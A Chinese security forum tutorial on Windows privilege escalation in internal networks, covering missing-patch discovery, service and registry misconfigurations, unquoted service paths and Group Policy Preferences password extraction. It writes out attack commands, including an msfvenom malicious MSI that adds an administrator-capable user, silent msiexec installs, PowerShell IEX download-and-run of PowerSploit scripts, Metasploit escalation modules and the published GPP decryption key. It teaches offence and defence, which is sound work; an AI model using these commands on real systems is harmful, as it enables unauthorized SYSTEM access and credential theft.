电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2315 人浏览分享

内网渗透基石篇--权限提升(上)

[复制链接]
2315 0
本帖最后由 zhaorong 于 2021-6-28 16:47 编辑

前言:“​欲落的樱花可能永远等不到富士山的日落”

一、基础知识

在windows中 权限大概分为四种 分别是User Administrator System TrustedInstallerTrus
1.user:普通用户权限 是系统中最安全的权限 因为分配给改组的默认权限不允许成员操
作修改操作系统的设置或用户资料

2.Administrator: 管理员权限。可以利用windows的机制将自己提升为system权限以便操作SAm文件
3.System: 系统权限。可以对sam等敏感文件进行读取 往往需要将administrator权限提升到system
权限才可以对散列值进行DUmp操作

4.TrustedInstaller:window中的最高权限 对系统文件 即将拥有system权限也无法进行获取
散列值安装软件 修改防火墙规则 修改注册表等
纵向提权: 低权限角色获得高权限角色的权限 例如 一个webshell权限通过提权 拥有了管理员
权限这种提权就是纵向提权。

横向提权: 获取同级别角色的权限。

二、系统内核溢出漏洞提权分析及防范

溢出漏洞就像往杯子里面装水-- 如果水太多 杯子装不下了 就会溢出来。
系统内核溢出漏洞提权是一种通用的提权方法 攻击者通常可以使用该方法绕过系统的所有安全限制。
攻击者利用该漏洞的关键是目标系统没用及时补丁

1. 通过手动执行命令发现缺失补丁

1.whoami/groups

QQ截图20210628152240.png

2.查看目标机器的补丁 systeminfo

9998.png

3.使用wmic 命令:wmic qfe get Caption,Description ,HotFixID,InstalledOn

QQ截图20210628152416.png

实验1:

2 .利用Metasploit发现缺失补丁

9997.png

996.png

3. windows exploit suggseter
可以将已经安装的补丁和微软的漏洞数据库进行比较
并且可以帮助识别出能导致权限提升的漏洞

下载地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester

9992.png

992.png

991.png

拿到session必做的2件事 可以快速识别系统可以利用的漏洞 比如提权~
  1. use post/windows/gather/enum_patches
  2. use post/multi/recon/local_exploit_suggester
复制代码

4 PowerShell 的sherlock脚本

QQ截图20210628153115.png

990.png

三、windows 操作系统配置错误利用分析及规范

前言:在windows操作系统中 攻击者通常会通过系统内核溢出漏洞来提权 但如果碰到无法通关
系统溢出漏洞提取所在服务器权限的情况 就会利用系统中的配置错误来提权。
管理员凭证配置错误
服务配置错误
故意削弱的安全措施
用户权限过高

系统服务权限配置错误

windows系统服务文件在操作系统启动时加载执行 并在后台调用可执行文件。如果一个低权限的用户对此
类系统服务调用的可执行文件拥有写权限 那么就可以替换该文件并随着系统启动获得控制权限。
windows服务是以system权限运行的 其文件夹 文件和注册表key-value都是受强制访问控制保护的。
但是在某些情况下 操作系统中依然存在一些没有得到有效保护的服务
系统服务权限配置错误(可写目录漏洞)有如下两种可能。
1.服务未运行:攻击者会使用任意服务来替换原来的服务 然后重启服务。
2.服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用情景 攻击者通常
会利用DLL劫持技术并尝试重启服务来提权。

1.PowerUP下的实战利用

下载地址:https://github.com/PowerShellMafia/PowerSploit/blo
b/master/Privesc/PowerUp.ps1

899.png

  1. powershell.exe -exec bypass -Command "& {import-M
  2. odule .\Powerup.ps1; Invoke-AllChecks}"
复制代码

898.png

  1. Powershell.exe -nop -exec bypass "IEX(New-Object Net.WebClient).Do
  2. wnloadString('C:\PowerUp.ps1'); Invoke-AllChecks"
复制代码

896.png

892.png

2.Metasploit下的实战利用

891.png

890.png

2 注册表键 ALwaysINstallElevated

允许低权限用户以System权限安装文件。如果启用此策略设置项 那么任何权限的
用户都以NT Authority\System权限来安装恶意的MSI文件。
windows install是windows操作系统的组件之一 专门用来管理配置软件服务。它除了是一个安装程序
还用于管理软件的安装 组件的添加 删除 监视文件的还原 通过回滚进行灾难恢复。windows install通
过msiexec.exe安装MSI文件 双击MSI文件就会运行msiexec.exe。

在运行中输入gpedit.msc 然后以管理员方式打开:
配置「计算机配置」
配置「用户配置」

WIndows INstaller的相关知识点

889.png

888.png

通过命令查询是否开启
  1. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  2. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
复制代码

开启返回:
  1. HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
  2. AlwaysInstallElevated REG_DWORD 0x1
  3. HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
  4. AlwaysInstallElevated REG_DWORD 0x1
复制代码

未开启就会返回系统找不到指定的注册表项或值
如果系统开启了AlwaysInstallElevated 可以使用msfvenom创建恶
意msi文件 然后使用msiexec进行开火
  1. msfvenom -f msi -p windows/adduser USER=msi PASS=Yoga123!@ -o /root/msi.msi
  2. msiexec /quiet /qn /i d:\msi.msi
  3. # /quiet 安装过程中禁止向用户发送消息
  4. # /qn 不使用GUI
  5. # /i 安装程序
复制代码

或者直接使用exploit/windows/local/always_install_elevated模块提至System权限

887.png

计划任务
适用系统版本:
  1. windows2000
  2. windows2003
  3. windows XP
复制代码

at 是一个发布定时任务计划的命令行工具 语法比较简单。通过at命令发布的定时任务计划
Windows默认以System权限运行。定时任务可以是批处理 也可以是一个二进制文件
语法:at 11:00PM calc.exe /interactive可以开启界面交互模式
利用Regsvr32+exploit/multi/script/web_delivery模块

886.png

3.PowrUp下的实战利用

1.powershell -nop -exec bypass IEX(New-Object
  1. Net.WebClient).DownloadString('C:\Users\testuser\Desktop\Sherlock-mast
  2. er\PowerUp.ps1');Get-RegistryAlwaysInstallElevated
  3. Get-RegistryAlwaysInstallElevated
  4. Write-UserAddMSI
复制代码

36.png

  1. msiexec.exe /q /i UserAdd.msi
复制代码

16.png

四、 可信任服务路径漏洞

利用了windows文件路径解析的特性 如果一个服务调用的可执行文件没有正确处理所引
用的完整路径名 这个漏洞就会被攻击者用来上传任意可执行文件。
通俗的说 如果一个服务的可执行文件的路径 带空格 没有被双引号引起来那么这个服务就有漏洞。
一个例子 编译之后存放在为C:\Program Files\Test\test.exe
  1. #include <stdio.h>
  2. int main(int argc, char *argv[])
  3. {
  4. printf("[*] Executed %s\n", argv[0]);
  5. }
复制代码

从命令行直接通过其绝对路径执行该程序:
  1. $ "C:\Program Files\Test\test.exe"
  2. [*] Executed C:\Program Files\Test\test.exe
  3. $ C:\Program Files\Test\test.exe
  4. 'C:\Program' 不是内部或外部命令,也不是可运行的程序
  5. 或批处理文件。
  6. #将test改为Program.exe之后并放入C盘下
  7. $ C:\Program Files\Test\test.exe
  8. [*] Executed C:\Program
复制代码

对于上面的空格 Windows都会尝试寻找并执行名字与空格前的名字相匹配的程序 所以不加
引号的时候就会报错。此时 假如能上传一个适当命名的后门程序 那么当服务重启的时候就
会以system权限运行(大多数情况下)

所以 理论上一个服务的可执行文件的路径没有用双引号封闭 且包含空格 那么就是存在漏洞的

检测是否存在漏洞
  1. wmic service get name,displayname,pathname,startmode|find
  2. str /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """
复制代码

检查对有漏洞的目录是否具有写入权限
  1. icacls "C:\Program Files"
复制代码

使用trusted_service_path模块

Trusted Service Paths漏洞产生的原因
windows服务通常都是以System权限运行的 所以系统在解析服务的二进制文件对应的文件路径中
的空格的时候也会以系统权限进行解析。如果我们能利用这一特性 就有机会进行权限提升。
比如:C:\Program Files\Some Folder\Service.exe
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录 服务一旦重启
我们的恶意程序就会以system权限运行大多数情况下。

1.Metasploit下的实战利用

1.先检测目标主机是否存在该漏洞。理论上讲 如果一个服务的可执行文件的路径没有用双引号封闭 并且包含空格
那么这个服务就是有漏洞的。 我们在meterpreter shell命令提示符下输入shell命令进入目标机cmd下 然后使用
下列wmi查询命令来列举受害者机器上所有的没有加引号的服务路径除去了windows本身的服务。
  1. wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | fin
  2. dstr /i /v "C:\Windows\" | findstr /i /v """
复制代码

可以看到有 Vulnerable Service OmniServ OmniServer OmniServers 四个服务对应的二进制文
件路径没有引号包含起来 并且路径中包含空格。是存在该漏洞的 但在上传可执行文件进去之前我
们需要确定我们对目标文件夹是否有写入的权限。

2.检查对有漏洞目录是否有写入的权限 这个很关键。这里我们使用Windows内建的一个
工具icacls 下面我们用这个工具依次来检查

“C:\Program Files”
“C:\Program Files\Common Files”
“C:\Program Files\Common Files\microsoft shared”

12.png

Everyone 用户对这个文件有完全控制权 就是说所有用户都具有全部权限修改这个文件夹。 参数说明: M 表示
修改 F 代表完全控制 CI 代表从属容器将继承访问控制项 OI 代表从属文件将继承访问控制项。这意味着对该目
录有读 写 删除其下的文件 删除该目录下的子目录的权限。

3.我们确认了目标主机存在此漏洞后 将便开始正式攻击 Metasploit中相对应的是Windows Service
Trusted PathPrivilege Escalation本地利用模块该模块会将恶意的可执行程序放到受影响的文件夹中
去然后将受影响的服务重启接着我们输入命令background,把当前的meterpreter shell转为后台执行
然后在Metasploit中搜索trusted_service_path模块。

11.png

4 自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时 通常不会逐台配置 而会使用脚本化批量
部署的方法。在这一过程中 会使用安装配置条件。

C:\sysprep.ing
C:sysC:sysprp.xml
C:\\windows\system32\sysrep.inf

10.png

可以在metasploit中利用这个漏洞:

9.png

5. 计划任务

AccessChk用于在windows中进行一些高级查询 管理和故障排除工作。由于它是微软官方提供的工具 所以杀毒软
件不会有告警。如果黑客对以高权限运行的任务 所在的目录具有写权限 那么就可以使用恶意程序覆盖原有的程序。
这样 在计划任务下次执行的时候 就会以高权限运行恶意程序。

通过AccessChk查看指定目录的权限配置情况:
  1. accesschk64.exe -dqv "C:\Microsoft" -accepteula
复制代码

6 Empire 内置模块

Empire内置了PowerUp的部分模快。输入"usermodule prives/powerup"

五、 组策略首选项提权分析及防范

sysvol是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹 在域中的所有域
控制器之间进行复制。sysvol文件夹是在安装活动目录时自动创建的 主要用来存放登陆脚本
组策略数据 其他域控制器需要的域信息。

sysvol在所有经过身份验证的域用户 域信任用户具有读权限的活动目录的域范围内共享 整个sysvol目录在所有的
域控制器中是自动同步和共享的 所有的域策略都存放在sysvol下。为方便对所有机器进行操作 网络管理员会使用
域策略进行统一的配置和管理 那么所有机器的本地管理员密码就是一样的 黑客就是利用这一点。

8.png

1.常见的组策略首选项:
映射驱动器
创建本地用户
数据源
打印机配置
创建/更新服务
计划任务

2 组策略首选项提取分析

1.创建组策略 批量修改域中机器的本地管理员密码

7.png

进入「计算机配置」下的「首选项」就可以更新一个用户啦。

6.png

计算机配置中的账户策略 也只是设置密码的复杂度 长度 过期时间等~

5.png

3.获取组策略的凭据

1.手动查找

浏览SysVQL文件夹 获取相关文件

2.png

也可以使用type命令搜索。

2.使用powershell获取cpassword

下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerS
ploit/master/Exfiltration/Get-GPPPassword.ps1

操作过程:

1.首先打开Windows资源管理器 并搜索域名为SYSVOL DFS共享的XML文件。在大多数情况下以下XML
文件将包含凭据:groups.xml scheduledtasks.xml和&Services.xml,Printers.xml ,Drives.xml.
SYSVOL是所有经过身份验证的用户具有读访问权限的Active Directory中的域范围共享

SYSVOL是指存储域公共文件服务器副本的共享文件夹 它们在域中所有的域控制器之间复制
Sysvol文件夹是安装AD时创建的 它用来存放GPO、Script等信息。同时 存放在Sysvol文件
夹中的信息会复制到域中所有DC上。

SYSVOL包含登录脚本 组策略数据以及需要在任何有域控制器的任何地方可用的其他域范
围数据因为SYSVOL在所有域控制器之间自动同步并共享。
所有域组策略都存储在这里:\\ <DOMAIN> \ SYSVOL \ <DOMAIN> \ Policies \
注意:C:\Windows\SYSVOL目录下 只有创建组策略脚本登录才能有策略脚
本配置文件groups.xml,默认是没有的

当创建新的GPP时 在SYSVOL中创建了一个与相关配置数据相关联的XML文件
如果提供了密码 那么AES-256位加密应该足够强的。
用于加密任何域中的所有组策略首选项密码的32字节AES密钥:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

1.png

命令:
  1. 1.powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubu
  2. sercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPas
  3. sword.ps1');Get-GPPPassword"
  4. 2.powershell  import-modulo  .\Get-GPPpassword.ps1;Get-GppPassword
复制代码

3.使用Metasploit获取cpassword

00.png

4.使用Empire查找cpassword

命令:usemodule privesc/gpp

实验:gpp组策略搭建

让我们看一个例子 说明通过组策略定义本地用户登录。它从创建和编辑组策略对象开始:

000.png

在域组织中的组策略对象中创建一个登录账号脚本策略:名称为:

gpp_local_login:

QQ截图20210628163832.png

QQ截图20210628163902.png

选择新建的组策略gpp_local_login然后编辑:

63931.png

999.png

用户配置---控制面板设置---本地用户和组--新建-本地用户中添加一个脚本登录。

998.png

997.png

可以看到域控制器行创建了本地组策略的文件:

996.png

通过网络共享可以访问到GPP的组策略的文件:
  1. \\bk.com\SYSVOL\bk.com\Policies\{CE710A28-3FB8-4365-B35
  2. 6-41A30B5E9014}\User\Preferences\Groups\gpoups.xml
复制代码

992.png

打开可以看到存储的cpasword密码:

991.png

六、 针对组策略首选项提取的防御措施

1.设置共享文件夹SYSVOL的访问权限

2.将包含组策略密码的XMl文件从SYSVOl目录中删除

3.不要把密码放在所有域用户都有权访问的文件中

4.如果需要更改域中机器的本地管理员密码 建议使用LAPs

总结:

本文主要从内网权限提升出发 主要介绍一些低权限用户如何通过一些工具和脚本来获取一些高权
限中间介绍了一些脚本和工具的使用还做了几个实验来理解这些工具。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.